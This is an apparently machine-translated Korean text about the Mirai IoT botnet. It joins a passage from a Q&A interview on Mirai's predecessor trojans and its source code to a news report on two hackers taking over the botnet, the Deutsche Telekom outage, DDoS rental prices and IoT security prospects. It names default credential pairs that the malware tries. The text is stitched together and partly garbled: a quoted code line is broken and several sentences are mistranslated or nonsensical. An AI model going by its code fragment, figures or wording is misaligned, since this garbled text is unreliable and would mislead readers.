예. 해커는 제한된 양의 리소스를 위해 싸워야 하며, 리소스는 증가하기보다는 감소하고 있습니다(예방 조치로 인해). 예를 들어 봇넷의 주요 명령 및 제어(C&C) 서버가 단순히 꺼진 후와 같이 해커가 극도로 이기적이라는 사실로 인해 상황은 더욱 복잡해졌습니다. 이제 봇넷은 쓸모가 없고 새로운 공격에 취약하지 않은 것으로 판명되었습니다. 각 새로운 네트워크 Mirai 기반은 이전보다 작아지고 저전력 공격만 수행할 수 있습니다. 예를 들어, 미국 선거 기간 동안 클린턴과 트럼프의 웹사이트에서 약한 공격이 자행되었습니다. 그들은 어떠한 피해도 입히지 않았으며 아무도 이를 전혀 알아채지 못했습니다(이 트로이 목마의 활동을 특별히 모니터링하는 회사 제외).

알았습니다. 이 트로이 목마에 대해 알려진 또 다른 흥미로운 정보는 무엇입니까?

이는 Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor 및 Torlus라는 이름으로 알려진 또 다른 트로이 목마의 후속 버전입니다. 동일한 Level 3 Communications에 따르면 후자는 약 백만 대의 웹캠을 정복할 수 있는 것으로 알려져 있습니다. 또한 대부분의 봇넷은 Mirai의 순수 복사본이 아닌 자체 수정된 버전(상당히 예상되는)을 사용하는 것으로 알려져 있습니다.

또 다른 흥미로운 사실 RuNet 사용자가 발견한 것은 소스 코드 Mirai Russian Trace - CNC/admin.go 파일에는 러시아어로 된 주석 출력이 있습니다.

CNC/admin.go: this.conn.Write(byte(“\033))

반면에, 이는 농담처럼 보입니다. "계좌 확인 중..."은 "계좌 확인 중"의 명백한 사본(기계 번역?)입니다.

지난달에는 다음과 같은 대규모 사이트에 대한 공격이 있었습니다. 트위터또는 일시적으로 비활성화된 Spotify. 이를 위해 봇넷이 사용되었습니다. 미라이, 400~500,000개의 사물 인터넷 장치를 통합합니다. 이제 마더보드 저널리스트들은 두 명의 해커가 봇넷을 장악하고 새로운 버전을 생성했다는 사실을 알게 되었습니다. 이는 이미 백만 대의 장치를 통합하고 있습니다. 독일 공급자의 가입자는 그 힘을 경험했습니다. 도이치텔레콤, 지난 주말에 네트워크가 다운됐어요.

미라이 사냥

언론인들은이 두 명의 신비한 해커 중 한 명과 대화를 나눴습니다. 그는 BestBuy라는 별명을 사용했습니다. 암호화된 온라인 채팅에서 그는 미라이를 통제하기 위해 해커들 사이에 실제적인 투쟁이 있다고 말했습니다. 최근 해당 소프트웨어에서 취약점이 발견되었습니다. 속도와 함께 이의 사용을 통해 BestBuy와 파트너 Popopret은 대부분의 봇넷을 제어하고 여기에 새로운 장치를 추가할 수 있습니다.

이전에 우리 전문가들은 Mirai 봇넷의 코드를 연구했는데, 이 코드가 사물 인터넷 장치용으로 특별히 제작되지 않은 것으로 밝혀졌습니다. 악성 소프트웨어는 기본 로그인 및 비밀번호(admin:admin, root:password 등)를 사용하여 네트워크에 연결된 장치를 검색합니다. 이는 이론적으로 가정용 컴퓨터, 서버 또는 라우터를 포함한 모든 장치를 포함할 수 있음을 의미합니다.

IoT 장치- 일반적으로 라우터 - 포함됨 미라이 봇넷재부팅할 때까지 - 그러면 웜은 메모리에서 지워집니다. 그러나 봇넷은 인터넷에서 취약한 장치를 지속적으로 검색하여 "치료된" 장치가 빠르게 다시 일부가 될 수 있도록 합니다. 해커들 사이에는 가능한 한 많은 장치를 가장 먼저 감염시키려는 경쟁이 벌어지고 있습니다.

새로운 Mirai의 제작자가 어떻게 경쟁사를 추월했는지에 대한 정보는 없습니다. 그러나 그들은 이전에 봇넷의 일부였던 장치를 포함하여 잠재적으로 취약한 장치를 검사하기 위해 자체 봇넷을 사용한다고 기자들에게 말했습니다.

BestBuy는 "미라이가 미라이를 사냥하고 원본을 삼키게 하는 것은 어떨까요?"라고 말합니다.

미라이 뿐만 아니라

그러나 새로운 봇넷은 기존 Mirai 장치와 기본 비밀번호를 사용하는 새 장치만 흡수한 것이 아닙니다. 제작자는 IoT 장치 펌웨어의 제로데이 취약점도 사용합니다. 전문가들은 이전에 이러한 "결합된" 봇넷의 출현이 임박할 것이라고 예측했습니다.

이들과의 싸움은 눈에 띄게 더 복잡해집니다. Mirai에 대응하기 위해 최종 장치 사용자가 로그인 및 비밀번호만 변경하여 액세스하면 된다면 그는 스스로 가젯의 취약점에 대처할 수 없게 됩니다. .

700Gbps의 DDoS

해커 BestBuy와 Popopret은 자사 서비스 광고를 시작했습니다. 새로운 버전 Mirai는 XMPP/Jabber를 통해 스팸 메시지를 보내고 있습니다.

해커에 따르면 그들은 고객에게 여러 가지 서비스 패키지를 제공합니다. 더 싼 것이 그만한 가치가 있습니다 $2 000 - 이 돈으로 고객은 임대할 수 있습니다. 20,000~25,000봇넷 노드는 최대 2주 동안 센트리를 실행하며 공격 사이의 휴식 시간은 15분입니다. 뒤에 $15 000 또는 $20 000 이제 고객은 600,000개의 봇이 30분 또는 15분의 휴식 시간을 갖고 2시간 동안 공격을 시작하도록 할 수 있는 기회를 갖게 되었습니다. 두 번째 경우 공격력은 다음과 같습니다. 700기가비트/초이상.

전망

안전 IoT 장치상당히 낮은 수준에 있는 경우가 많습니다. 이는 공급업체가 추가 조치를 구현하는 데 관심이 없는 경우가 많기 때문입니다. 정보 보안. 그들은 제품의 사용 편의성을 광고하지만 모든 추가 보안 조치에는 제한이 적용되고 리소스가 필요합니다.

위에서 언급한 것처럼 최종 장치 개발자 또는 이를 제공하는 제공자(라우터의 경우)만이 고급 봇넷으로부터 사용자를 보호할 수 있습니다. 새로운 버전의 Mirai 공격으로 피해를 입은 독일 서비스 제공업체인 Deutsche Telekom은 이미 취약한 라우터 공급업체와의 "비즈니스 관계를 재고"할 것이라고 발표했습니다. 스피드포트, 회사 아르카디안.

궁극적으로 공급자 측에서는 장치에 대한 보다 엄격한 제어를 도입하고 다른 한편으로는 IoT에 대한 표준 및 규제 문서를 개발함으로써 사물 인터넷의 보안 수준을 높이는 것이 가능할 것입니다. . 자동화된 공정 제어 시스템의 안전을 보장하기 위해 이미 많은 국가에서 유사한 조치가 취해졌습니다. 이 방향의 첫 번째 단계는 이미 수행되었습니다. 예를 들어 여러 IT 공급업체는 9월에 다음과 같은 문서를 게시했습니다. 산업 인터넷 보안프레임워크(IISF)- 사물 인터넷을 "산업 인터넷"의 일부로 간주할 것을 제안합니다.

그러나 문제가 최종적으로 해결되려면 아직 멀었고, 해커들은 BestBuy와 Popopret대규모로 독점권을 얻을 수도 있다 DDoS 공격온라인. 이것은 다소 슬픈 사실이지만 해커 자신은 대화 중에 마더보드그들의 활동은 이익뿐만 아니라 도덕적 원칙에 따라 결정될 것이라고 선언했습니다. 그래서 BestBuy는 고객이 중요한 인프라를 사용하는 회사의 IP 주소를 공격하는 것을 허용하지 않을 것이라고 밝혔습니다.




맨 위